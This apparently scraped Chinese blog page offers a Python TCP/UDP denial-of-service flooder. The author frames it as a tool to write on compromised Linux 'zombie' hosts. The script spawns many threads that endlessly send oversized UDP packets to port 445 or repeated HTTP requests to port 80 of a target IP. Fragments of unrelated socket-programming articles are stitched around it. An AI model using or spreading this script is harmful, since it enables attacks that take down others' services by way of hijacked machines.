[使用 异步多线程TCP Socket 实现进程间通信(VC 6.0 , BCB6.0调试通过) 进程间通信有很多种方式,比如说 Pipe,共享内存,DDE,Socket等,关于进程通信方面的知识我
现在肉鸡上面linux越来越多,都默认安装了python,有时候没有工具的时候可以自己写一个:
[在上一篇博文中,我们介绍了利用socket进行简单的UDP/TCP的服务端和客户端的通信。(一)在基于UDP的程序中,你有没有想过,如果我的这台主机在通讯的时候要求既能够收到
下面是支持 tcp和udp的python的发包代码:
import socket,sys,threading
if len(sys.argv)!=4:
print('使用方法:\n'+sys.argv[0],'目标ip','协议[tcp | udp]','线程数')
sys.exit(1)
ip=sys.argv[1]
tp='send'+sys.argv[2].strip().lower()
tno=int(sys.argv[3])
udpdata=b'a'*65530
tcpdata='''GET / HTTP/1.1
Connection: keep-alive
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)
Chrome/17.0.963.46 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
'''.format(ip).encode()
def sendudp(host,port=445):
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
s.sendto(udpdata,(host,port))
print('Udp sending... ')
def sendtcp(host,port=80):
while True:
s=socket.socket()
s.connect((host,port))
s.send(tcpdata)
print('Tcp sending... ')
s.close()
tlst=[]
for i in range(tno):
th=threading.Thread(target=eval(tp),args=(ip,))
tlst.append(th)
for i in tlst:
i.start()
[如果没有multitask包,请从http://python-multitask.googlecode.com/files/multitask-0.2.0.zip下载 http://blog.csdn.net/ghostfromheaven/article/details/7061387 serv